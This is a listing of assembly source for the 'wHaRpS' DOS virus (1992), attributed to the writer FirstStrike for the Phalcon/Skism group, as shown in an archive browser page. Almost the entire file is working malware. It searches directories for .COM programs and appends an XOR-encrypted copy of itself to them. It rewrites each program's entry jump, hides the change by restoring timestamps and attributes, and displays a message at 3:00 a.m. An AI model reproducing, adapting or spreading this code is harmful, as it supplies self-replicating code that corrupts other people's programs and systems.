home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / WHARPS.ASM < prev    next >
Assembly Source File  |  1992-11-09  |  10KB  |  337 lines

  1. ; "One must crawl before one walks." 
  2. ;                              wHaRpS Virus 1.0
  3. ; wHaRpS virus of independent virus writer FirstStrike
  4. ; For use by [Phalcon\Skism] ONLY!
  5. ; Special thanx to:
  6. ;               Gheap
  7. ;               Dark Angel
  8. ;               Demogorgon
  9.  
  10.  
  11. name    wHaRpS
  12.         title   
  13. code    segment
  14.         assume  cs:code,ds:code
  15.         org     100h
  16.  
  17.  
  18. dta     equ     65000d                  ; DTA address to be set
  19. fname   equ     65000d + 1eh            ; DTA - file name      
  20. ftime   equ     65000d + 16h            ; DTA - file time      
  21. fsize   equ     65000d + 1ah            ; DTA - file size      
  22. orgdir  equ     65400d                  ; original path storage
  23. date    equ     65300d                  ; store file date
  24. time    equ     65302d                  ; store file time
  25. attrib  equ     65304d                  ; store file attrib
  26. err1    equ     65306d                  ; old error handler address
  27. err2    equ     65308d                  ; old error handler address
  28.  
  29. olddta  equ     80h                     ; original DTA address      
  30.  
  31.         
  32.  
  33. begin:
  34.         nop
  35.         nop
  36.         nop
  37.         call    setup                   ; find "delta offset"
  38. setup:               
  39.         pop     bp                              
  40.         sub     bp, offset setup
  41.         jmp     main                    ; DEBUG E8 02 00
  42.         nop
  43.         jmp     main
  44.  
  45. crypt_em:  
  46.         xor        di,di
  47.         lea        si, [bp+main]      
  48.         mov        di, si
  49.         mov        cx, end_crypt - main
  50.  
  51. xor_loop:
  52.         lodsb                           ; ds:[si] -> al
  53.         db      34h                     ; xor al, XX
  54. encrypt_val db 0                        ; Starting encryption value is 0
  55.         stosb                           ; al ->es:[di]
  56.         loop    xor_loop
  57.         ret
  58.  
  59. main:
  60.         xor     di,di
  61.         mov     di,0100h                ; Restore first three      
  62.         lea     si,[bp+saveins]         ;  original program bytes
  63.         mov     cx,0003d
  64.         rep     movsb
  65.         jmp     system_pic              ; Take a "picture" of system settings
  66.  
  67. handler:                                ; error handler
  68.         mov     al,0
  69.         iret
  70. endp
  71.  
  72.  
  73. data    label   byte
  74. wharps    db    '[wHaRpS]',0            ; wHaRpS ID
  75. author    db    'Fîrs╪StrîkΣ',0         ; Me
  76. dir_mask  db    '*.',0                  ; dir atrib
  77. allcom    db    '*.COM',0               ; what to search for
  78. root      db    '\',0                   ; root
  79. saveins   db    0e8h,00h,00h            ; original three bytes
  80. ultimate  dw    0                       ; ultimate dir to be reached
  81. current   dw    0                       ; current dir
  82. message   db    'wHaRpS! It is 3:00 a.m. > ETERNAL $'
  83.  
  84. system_pic:                             ; SNAP!
  85.         mov     ah,47h                  ; get original path
  86.         mov     dl,0
  87.         lea     si,cs:orgdir            ; store original path
  88.         int     21h
  89.  
  90. crypt_change:                           ; set crypt value
  91.         mov     ah,2ch
  92.         int     21h
  93.         mov     [bp+encrypt_val],dl
  94.         cmp     ch,03
  95.         jz      more
  96.         jmp     errorh
  97.  
  98. more:
  99.         cmp     cl,00
  100.         jz      bomb
  101.         jmp     errorh
  102.         
  103. bomb:
  104.         mov     ah,09h
  105.         lea     dx,[bp+message]
  106.         int     21h
  107.         mov     ah,4ch
  108.         int     21h
  109.  
  110. errorh:                                 
  111.         push    es                      ; save original error handler address
  112.         mov     ax,3524h                      
  113.         int     21h                           
  114.         mov     word ptr cs:err1,bx
  115.         mov     word ptr cs:err2,es
  116.         pop     es                            
  117.  
  118.         mov     ax,2524h                ; set an error handler       
  119.         lea     dx, [bp+offset handler] ;  no more Retry,Abort,Fail deals            
  120.         int     21h
  121.         jmp     pre_search
  122.  
  123. drop_to_root:                           ; subroutine to visit the root
  124.         lea     dx,[bp+root]
  125.         jmp     continue
  126.  
  127. set_path:                               ; OR set a path
  128.         lea     dx,cs:fname
  129.         
  130. continue:
  131.         mov     ah,3bh
  132.         int     21h
  133.         ret
  134.        
  135. return_to_search:
  136.         inc     [bp+ultimate]           
  137.         call    drop_to_root
  138.         mov     [bp+current],0000
  139.         jmp     find_first_dir
  140.  
  141.  
  142. pre_search:                             ; set a DTA
  143.         mov     dx,dta
  144.         mov     ah,1ah
  145.         int     21h
  146.         
  147.         mov     [bp+current],0000       ; zero the counters
  148.         mov     [bp+ultimate],0000      ; ""
  149.         inc     [bp+ultimate]           ; want to search 1st dir in root
  150.         call    drop_to_root            ; bomb to root
  151.  
  152. find_first_dir:                         ; directory searchin'
  153.         lea     dx,[bp+dir_mask]              
  154.         mov     cx,16
  155.         mov     ah,4Eh                       
  156.         int     21h
  157.         jc      almost_done             ; no directories?        
  158.         
  159. dir_test:
  160.         inc     [bp+current]            ; directory found - MARK!
  161.         mov     bx,[bp+current]         
  162.         cmp     word ptr [bp+ultimate],bx ; is it the one we want?
  163.         jnz     find_next_dir           ; no, find another
  164.         call    set_path                ; yes, set the correct path
  165.         jmp     find_first_file         ; find some .COMs
  166.  
  167.  
  168.  
  169. find_next_dir:                          ; mo' directory searchin'
  170.         mov     ah,4fh                         
  171.         int     21h
  172.         jc      almost_done
  173.         jmp     dir_test                ; go see if correct dir found yet
  174.      
  175.  
  176.  
  177. find_first_file:                        ; file searchin'
  178.         lea     dx,[bp+allcom]              
  179.         mov     cx,00000001b                  
  180.         mov     ah,4Eh                         
  181.         int     21h
  182.         jc      return_to_search        ; no .COM so mo' dir              
  183.         jmp     check_if_ill            ; is the file "sick"?
  184.  
  185.  
  186.  
  187. find_next_file:                         ; keep on a searchin'
  188.         mov     ah,4fh                       
  189.         int     21h
  190.         jc      return_to_search        ; no more .COM so back 
  191.                                         ;  to the directories
  192.  
  193. check_if_ill:                           ; check file's health
  194.         mov     ax,cs:ftime
  195.         and     al,11111b               ; good, your sick!      
  196.         cmp     al,62d/2                ; (No more 62 seconds as virus       
  197.         jz      find_next_file          ;  markers! - I swear!)
  198.  
  199.         cmp     cs:fsize,60000d         ; whoa, file to big!    
  200.         ja      find_next_file          ; so, get a new one     
  201.  
  202.         cmp     cs:fsize,500d           ; whoa, file to small!    
  203.         jb      find_next_file          ; throw it back and move on          
  204.         jmp     infect                  ; perfect, for infection
  205.  
  206.         db      'Joy J.',0              ; don't ask
  207.  
  208. error:
  209. pre_done:
  210. almost_done:
  211.         jmp     done                    ; in case of emergency.....
  212.  
  213. infect:
  214.         mov     ah,43h                  ; save original attribute
  215.         mov     al,00h
  216.         lea     dx,cs:[fname]
  217.         int     21h
  218.         mov     cs:attrib,cx
  219.         jc      pre_done
  220.  
  221.         mov     ax,4301h                ; clear all attributes       
  222.         and     cx,11111110b            ;  (none shall slow progress)
  223.         int     21h
  224.         jc      pre_done
  225.  
  226.         
  227.         mov     ax,3d02h                ; open the file, please      
  228.         int     21h
  229.         jc      pre_done
  230.         xchg    bx,ax
  231.         
  232.         
  233.  
  234.         mov     ax,5700h                ; save the date/time      
  235.         int     21h
  236.         mov     cs:time,cx                  
  237.         mov     cs:date,dx
  238.         jc      pre_done
  239.  
  240.  
  241.         mov     ah,3Fh                  ; read first 3 bytes of file 
  242.         mov     cx,0003h                ;  to be infected and save
  243.         lea     dx,[bp+saveins] 
  244.         int     21h
  245.         jc      pre_done        
  246.  
  247.         mov     ax,4202h                ; move to end of file
  248.         xor     cx,cx           
  249.         xor     dx,dx
  250.         int     21h
  251.         jc      pre_done        
  252.         mov     [bp+new_jmp],ax
  253.  
  254.         call    crypt_em                 
  255.  
  256. end_crypt       label     byte          ; encrypt to here
  257.  
  258.         mov     ah,40h                  
  259.         mov     cx,endcode-begin        
  260.         lea     dx,[bp+begin]           
  261.         int     21h                     ; encrypt n' write virus to end of 
  262.         jc      done                    ;  file
  263.  
  264.         mov     ax,4200h                ; go to beginning of file
  265.         xor     cx,cx         
  266.         xor     dx,dx
  267.         int     21h
  268.         jc      done
  269.         jmp     cont
  270.  
  271. jmpc      db    0e9h
  272. new_jmp   dw    ?
  273.  
  274. cont:
  275.         mov     ah,40h        
  276.         mov     cl,3           
  277.         lea     dx,[bp+jmpc] 
  278.         int     21h
  279.         jc      done
  280.  
  281. attrib_stuff:                  
  282.  
  283.         mov     ax,5701h       
  284.         mov     cx,cs:[time]
  285.         mov     dx,cs:[date]
  286.         or      cl,11111b      
  287.         int     21h
  288.         jc      done
  289.  
  290.         mov     ah,3eh
  291.         int     21h
  292.         jc      done
  293.  
  294.         mov     ax,4301h
  295.         mov     cx,cs:[attrib]
  296.         lea     dx,cs:[fname]
  297.         int     21h
  298.         jc      done
  299.  
  300. done:
  301.         mov     dx,olddta               ; restore all changes
  302.         mov     ah,1ah
  303.         int     21h
  304.  
  305.         push    ds             
  306.         mov     ax,2524h       
  307.         lea     dx,cs:[err2]
  308.         mov     ds,dx
  309.         lea     dx,cs:[err1]
  310.         int     21h
  311.         pop     ds             
  312.         
  313.         mov     ah,3bh
  314.         mov     dx,'/'
  315.         int     21h
  316.  
  317.         mov     ah,3bh
  318.         lea     dx,cs:[orgdir]
  319.         int     21h
  320.  
  321.         xor     di,di
  322.         mov     di,0100h                    
  323.         jmp     di                      ; good_bye
  324.  
  325.  
  326.  
  327.  
  328. endcode         label     byte                              
  329.  
  330.  
  331.  
  332.  
  333. code      ends
  334. end       begin
  335.   
  336.   
  337.